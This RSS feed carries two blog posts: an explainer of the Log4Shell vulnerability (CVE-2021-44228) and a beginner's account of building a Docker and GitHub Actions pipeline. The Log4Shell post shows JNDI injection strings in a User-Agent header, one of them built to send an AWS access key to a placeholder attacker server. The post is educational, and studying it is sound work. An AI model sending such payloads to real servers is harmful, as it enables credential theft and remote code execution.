<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Binamra Pandey</title>
    <description>The latest articles on DEV Community by Binamra Pandey (@binamra).</description>
    <link>https://dev.to/binamra</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4101464%2Ffba37261-e4e5-48ca-9ace-a5412ac1d30e.jpg</url>
      <title>DEV Community: Binamra Pandey</title>
      <link>https://dev.to/binamra</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/binamra"/>
    <language>en</language>
    <item>
      <title>How Log4Shell Works: Breaking Down CVE-2021-44228</title>
      <dc:creator>Binamra Pandey</dc:creator>
      <pubDate>Thu, 17 Sep 2026 16:19:42 +0000</pubDate>
      <link>https://dev.to/binamra/how-log4shell-works-breaking-down-cve-2021-44228-353k</link>
      <guid>https://dev.to/binamra/how-log4shell-works-breaking-down-cve-2021-44228-353k</guid>
      <description>&lt;h2&gt;
  
  
  INTRODUCTION
&lt;/h2&gt;

&lt;p&gt;Log4jShell is a software vulnerability in Apache Log4j 2 which is a popular java library used for logging events in java-based applications also known by its CVE identifier as CVE-2021-44228 had sent shockwaves in the field of cybersecurity. This vulnerability is also known as the single biggest, most critical vulnerability of the last decade. This vulnerability allowed an  attacker to execute remote code on the server and gain Remote Code Execution (RCE) in the  affected web servers and remote systems. (Berger, 2023) &lt;/p&gt;

&lt;p&gt;Log4jShell was first discovered in 24 November 2021 by the cybersecurity researcher named Chen Zhaojun of the Alibaba Cloud Security Team. At the beginning, Alibaba Cloud Security Team discovered this vulnerability in on servers that have hosted the Minecraft game on December 9th of 2021. Chen Zhaojun and other team members of Alibaba cloud security team has hinted that this severe vulnerability was being exploited by black hat hackers even before of its discovery making this a zero day vulnerability. &lt;/p&gt;

&lt;p&gt;This vulnerability took its flight after this was made public on Twitter in 9th December of 2021. After it’s publication it took world of cyber security by storm and soon it was known as the most critical vulnerability of the decade.&lt;/p&gt;

&lt;h2&gt;
  
  
  OVERVIEW OF LOG4J
&lt;/h2&gt;

&lt;p&gt;Apache log4j is a java based open source library used for logging data and information in the java based application. This was initially released in October 1999 and Log4j 2 which is the affected version from log4jShell was released in 2014. This library was quite popular because of it’s unique and effective features that was provided by Apache.&lt;br&gt;&lt;br&gt;
The main reason Log4J gained popularity was because of it’s features which were absent in other logging based library. Some of them are mentioned below. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;New Plugin system &lt;/li&gt;
&lt;li&gt;Support for JSON based configuration &lt;/li&gt;
&lt;li&gt;Lookups 
These are some of the features which made Log4J popular library for logging amongst Java 
developers.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  IMPORTANCE OF LOGGING
&lt;/h2&gt;

&lt;p&gt;Logging is the one of the most important parts in any organization. A good logging system helps an organization in many beneficial ways. The main reason most organization do logging is to track errors in the system or do incident tracking. The other reasons to do logging may also include writing logged report to files and databased without an active console. &lt;/p&gt;
&lt;h2&gt;
  
  
  LOG4JSHELL
&lt;/h2&gt;

&lt;p&gt;As we have already mentioned, Log4Jshell is a security vulnerability in Java logging related library known as Log4J. This vulnerability affected many reputed organizations like Cloudflare, Apple(iCloud), Minecraft, Tencent, Twitter and many more. This vulnerability enabled an attacker to gain remote access of the server by executing java code in the vulnerable server. This vulnerability affected Log4J version 2.14.1 and below. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsi5r1rn7ceodg2nl10xs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsi5r1rn7ceodg2nl10xs.png" alt=" " width="767" height="433"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  DEEP DIVE ON OCCURRENCE OF LOG4JSHELL
&lt;/h2&gt;

&lt;p&gt;The root cause of this vulnerability, Log4jShell raised from one the most used feature of Log4J. This feature was, Lookups, this feature allowed users or server owner easy way to add values to the log4J configuration at arbitrary places or the location which was not easily &lt;br&gt;
editable by the user. (Goers, n.d.) There are many types of lookups in log4j. Context map lookup, Date lookup, Environment &lt;br&gt;
lookup, java lookup and JNDI lookups are few of them. The lookup from which vulnerability raised was JNDI lookups. &lt;/p&gt;

&lt;p&gt;Java Naming and Directory Interface also known as JNDI is a one of the lookups for Log4J library. JNDI provides an API for application to interact with remote objects registered with &lt;br&gt;
RMI registry or directory server like LDAP. This allowed developers to use a consistent interface to perform naming and directory operation, irrespective of the underlying directory service. The use of Lightweight Directory Access Protocol also known as LDAP with JNDI lookups was the root and underlying flaw of Log4Jshell vulnerability. The LDAP is an open standard application protocol for accessing and maintaining distributed directory information services. LDAP is also a kind of database itself. This protocol was used to exploit Log4Jshell vulnerability widely.   &lt;/p&gt;
&lt;h2&gt;
  
  
  THE VULNERABILITY
&lt;/h2&gt;

&lt;p&gt;To exploit this vulnerability, first attacker needs to find the response or request which was being logged by the organization. Then attackers need to find what part of the request or response was being logged. In the majority case, User-Agent header of the request was being logged by the server. So, attacker just needed to use his vulnerable payload instead of original value of User-Agent. Then payload would have been sent to server to be logged but since it is modified value of User-Agent which is mostly likely be command related to Log4J and instead of just blocking it by the server, it was executing this payload which caused all this problem. &lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Normal User-Agent header looks like this *&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (&amp;lt;system-information&amp;gt;) &amp;lt;platform&amp;gt; (&amp;lt;platform-details&amp;gt;)&amp;lt;extensions&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;*&lt;em&gt;Modified User-Agent header to exploit Log4Jshell vulnerability *&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-Agent:- ${jndi:ldap://attack.server.url/?s=${env:AWS_ACCESS_KEY_ID}} 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And when this modified user agent reached the server instead of getting it blocked it was executing at the time of logging. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbk0f0tsl52px83l56c1o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbk0f0tsl52px83l56c1o.png" alt=" " width="800" height="541"&gt;&lt;/a&gt;&lt;br&gt;
Image source: &lt;a href="https://tech-blog.cymetrics.io/en/posts/huli/log4j-and-log4shell/" rel="noopener noreferrer"&gt;https://tech-blog.cymetrics.io/en/posts/huli/log4j-and-log4shell/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can understand working mechanism of Log4Jshell vulnerability more precisely with the help of this image. Here in the image &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User-Agent is being logged, so attacker submitted the malicious JNDI header instead of original string of User-Agent &lt;/li&gt;
&lt;li&gt;User-Agent: ${jndi:ldap://evil.xa/x} &lt;/li&gt;
&lt;li&gt;Now that malicious string is passed to log4j for logging
&lt;/li&gt;
&lt;li&gt;Now, since it is vulnerable to log4jshell vulnerability, it will query the malicious ldap server and fetches the object form them. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is how log4jshell is exploited. Now instead of fetching object from server attack can also send reverse shell code to gain remote access of the server which will lead to Remote Code Execution also known as RCE. &lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>cve</category>
      <category>log4jshell</category>
    </item>
    <item>
      <title>What I Learned Setting Up My First CI/CD Pipeline (Docker + GitHub Actions)</title>
      <dc:creator>Binamra Pandey</dc:creator>
      <pubDate>Wed, 02 Sep 2026 13:48:42 +0000</pubDate>
      <link>https://dev.to/binamra/what-i-learned-setting-up-my-first-cicd-pipeline-docker-github-actions-16pd</link>
      <guid>https://dev.to/binamra/what-i-learned-setting-up-my-first-cicd-pipeline-docker-github-actions-16pd</guid>
      <description>&lt;p&gt;This was a simplest pipeline which I could think of for practicing Docker and Github Action pipeline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I Built This
&lt;/h2&gt;

&lt;p&gt;I have been learning the working of devops recently. So, I wanted to build something to practice what I have learned so far. So I thought of building this simple workflow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fb9chai0cc0sy7foppj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2fb9chai0cc0sy7foppj.png" alt=" " width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the basic flow of the pipeline.&lt;br&gt;
P.S: Don't mind my diagram, I am learning to draw those too.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Project
&lt;/h2&gt;

&lt;p&gt;The app itself is a tiny Flask API with two routes, / and /health. That's it. I kept it deliberately simple because the app was never the point of this project. The pipeline was.&lt;br&gt;
If I'd built something complex, I'd have spent most of my time debugging application logic instead of learning how GitHub Actions actually works. A "Hello World" endpoint gives you something real to test, build, and deploy, without getting in the way.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flask-cicd-demo/
├── .github/
│   └── workflows/
│       └── ci-cd.yml
├── src/
│   ├── app.py
│   └── requirements.txt
├── tests/
│   └── test_app.py
├── dockerfiles/
│   └── python.dockerfile
├── docker-compose.yml
├── .dockerignore
└── .gitignore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;P.S: I used docker-compose here even though it wasn't multi-container because I just wanted to practice that too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 1: Running tests in CI
&lt;/h2&gt;

&lt;p&gt;The idea here was simple: one job, triggered on push, that checks out the code, installs dependencies, and runs pytest. Nothing else yet. I wanted this piece working before touching Docker at all.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;test_job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;checkout code&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;setup python&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/setup-python@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;python-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3.11&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;install dependencies&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;cd src &amp;amp;&amp;amp; pip install -r requirements.txt&lt;/span&gt;
          &lt;span class="s"&gt;cd ..&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run tests&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;PYTHONPATH=src pytest tests/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When I ran the first time, I got straight error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8qnf5vlzgtakkv31cji.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8qnf5vlzgtakkv31cji.png" alt=" " width="800" height="121"&gt;&lt;/a&gt;&lt;br&gt;
This was my simple mistake as I didn't add pytest module in the &lt;code&gt;requirments.txt&lt;/code&gt; file. Adding it, fixed the issue.&lt;/p&gt;

&lt;p&gt;Now, while running it for the second time, I hit the wall again. My workflow return with error, &lt;code&gt;No module name app&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyqzwnq8j13psbu39wyiw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyqzwnq8j13psbu39wyiw.png" alt=" " width="800" height="170"&gt;&lt;/a&gt;&lt;br&gt;
My test_app.py imports the app like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which is fine locally if you're running things from inside src/. But app.py actually lives in src/, not the repo root, and pytest runs from the root by default. So Python had no idea where to look. The fix was adding PYTHONPATH=src before the pytest command, which just tells Python "also check inside src/ when you're resolving imports."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7optw02yq6jcsyau2xbu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7optw02yq6jcsyau2xbu.png" alt=" " width="794" height="97"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now after this, I finally got my &lt;code&gt;test_job&lt;/code&gt; flow to work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 2: Building the Docker Image in CI
&lt;/h2&gt;

&lt;p&gt;With tests running, the next piece was getting the pipeline to actually build the Docker image. My Dockerfile lives at dockerfiles/python.dockerfile, not at the project root, and it copies files in like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; src/requirements.txt /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; src/ /app&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since I was building through docker-compose.yml, I had to get the build context right. My first attempt looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./dockerfiles&lt;/span&gt;
  &lt;span class="na"&gt;dockerfile&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;python.dockerfile&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That failed. The build context only included the dockerfiles/ folder, so src/ was invisible to it, and COPY src/requirements.txt /app had nothing to find.&lt;/p&gt;

&lt;p&gt;The fix was keeping the context at the project root, and pointing dockerfile: at where the file actually sits, relative to that root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
  &lt;span class="na"&gt;dockerfile&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;dockerfiles/python.dockerfile&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Context and Dockerfile path are two separate things, and it's easy to mix them up if your Dockerfile isn't sitting in the default spot. So after this I finally got the docker working too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 3: Job Artifacts
&lt;/h2&gt;

&lt;p&gt;This was the part I actually wanted to practice going into this project.&lt;/p&gt;

&lt;p&gt;Artifacts are basically files a job produces that you want to keep after the job finishes. Once a runner's done, its filesystem is gone, so if you don't save something explicitly, it's just gone with it. actions/upload-artifact handles that, you give it a name and a path, and it gets attached to the run, downloadable from the Actions summary, or pulled by another job later with actions/download-artifact.&lt;/p&gt;

&lt;h3&gt;
  
  
  First artifact: a coverage report.
&lt;/h3&gt;

&lt;p&gt;I added pytest-cov to requirements.txt, generated a coverage file when tests ran, and uploaded it so I could grab it from the Actions run summary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run tests&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;PYTHONPATH=src pytest tests/ --cov=src --cov-report=xml&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Upload Job Artifacts&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/upload-artifact@v4&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;test-results&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;coverage.xml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First run threw a error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Facl8pjgsk49o234ff5b8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Facl8pjgsk49o234ff5b8.png" alt=" " width="753" height="204"&gt;&lt;/a&gt;&lt;br&gt;
I'd added the flag before actually installing the plugin. Pytest doesn't know --cov exists unless pytest-cov is there. Added it to requirements.txt, ran again, fixed.&lt;/p&gt;
&lt;h3&gt;
  
  
  Second artifact: the built Docker image itself.
&lt;/h3&gt;

&lt;p&gt;This one's more interesting, it's not just a report to look at, it's something a later job actually uses instead of rebuilding from scratch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;save docker image&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;docker save -o flaskapp.tar flaskapp:latest&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Upload Job Artifacts&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/upload-artifact@v4&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-image&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;flaskapp.tar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one broke immediately:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr2dtcu7a3lncdorl4m7l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr2dtcu7a3lncdorl4m7l.png" alt=" " width="690" height="121"&gt;&lt;/a&gt;&lt;br&gt;
Turns out docker compose build doesn't tag the image as flaskapp:latest by default. Compose names it -:latest unless you tell it otherwise. I had no idea that was the default until I hit this.&lt;br&gt;
Fix was adding an explicit image: key to docker-compose.yml:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;flaskapp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;flaskapp:latest&lt;/span&gt;
    &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
      &lt;span class="na"&gt;dockerfile&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;dockerfiles/python.dockerfile&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that, I was able to save the docker image file too.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcbpcwo9477o79qhk4ugs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcbpcwo9477o79qhk4ugs.png" alt=" " width="800" height="136"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Stage 4: Deploying via a Self-Hosted Runner
&lt;/h2&gt;

&lt;p&gt;For the last piece, I wanted the pipeline to actually deploy somewhere real instead of just building and stopping. I set up a self-hosted runner on my own machine for this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;deploy_job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;needs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;build_job&lt;/span&gt;
  &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;self-hosted&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Download Job Artifacts&lt;/span&gt;
      &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/download-artifact@v4&lt;/span&gt;
      &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-image&lt;/span&gt;
        &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;load docker image&lt;/span&gt;
      &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
        &lt;span class="s"&gt;docker load -i flaskapp.tar&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run docker container&lt;/span&gt;
      &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
        &lt;span class="s"&gt;docker stop flaskapp || true&lt;/span&gt;
        &lt;span class="s"&gt;docker rm flaskapp || true&lt;/span&gt;
        &lt;span class="s"&gt;docker run -d -p 5000:5000 --name flaskapp flaskapp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hit two separate issues getting here.&lt;/p&gt;

